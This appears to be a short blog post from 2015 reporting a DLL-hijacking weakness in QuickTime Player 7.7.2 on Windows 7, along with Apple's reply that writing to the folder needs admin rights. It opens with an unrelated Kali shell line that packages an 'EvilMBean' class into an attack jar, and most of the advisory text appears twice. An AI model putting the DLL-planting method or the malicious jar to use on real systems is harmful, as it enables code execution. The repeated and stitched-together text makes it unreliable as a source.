root@kali-ucs:~/rmx_remote# jar cvf compromise.jar EvilMBean.class
added manifest
adding: EvilMBean.class(in = 172) (out= 134)(deflated 22%)
Saturday, February 14, 2015
Apple QuickTimePlayer Insecure DLL Loading Code Execution
By default QuickTimePlayer installation does't come with CoreFoundation.dll but QT Player tries to load the DLL when started.
Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\
After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.
Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1
Apples response
After examining your report we do not see any actual security implications.
Writing a file to the C:\Program Files (x86)\QuickTime directory requires local
administrative privileges.
Create any malicious DLL and rename it to CoreFoundation.dll, copy to C:\Program Files (x86)\QuickTime\
After copying the DLL if we start QuickTimePlayer we will execute the code part of malicious DLL leading to DLL Injection.
Location: C:\Program Files (x86)\QuickTime\CoreFoundation.dll
Application: QuickTime 7.7.2
OS: Windows 7 Ultimate N SP1
Apples response
After examining your report we do not see any actual security implications.
Writing a file to the C:\Program Files (x86)\QuickTime directory requires local
administrative privileges.
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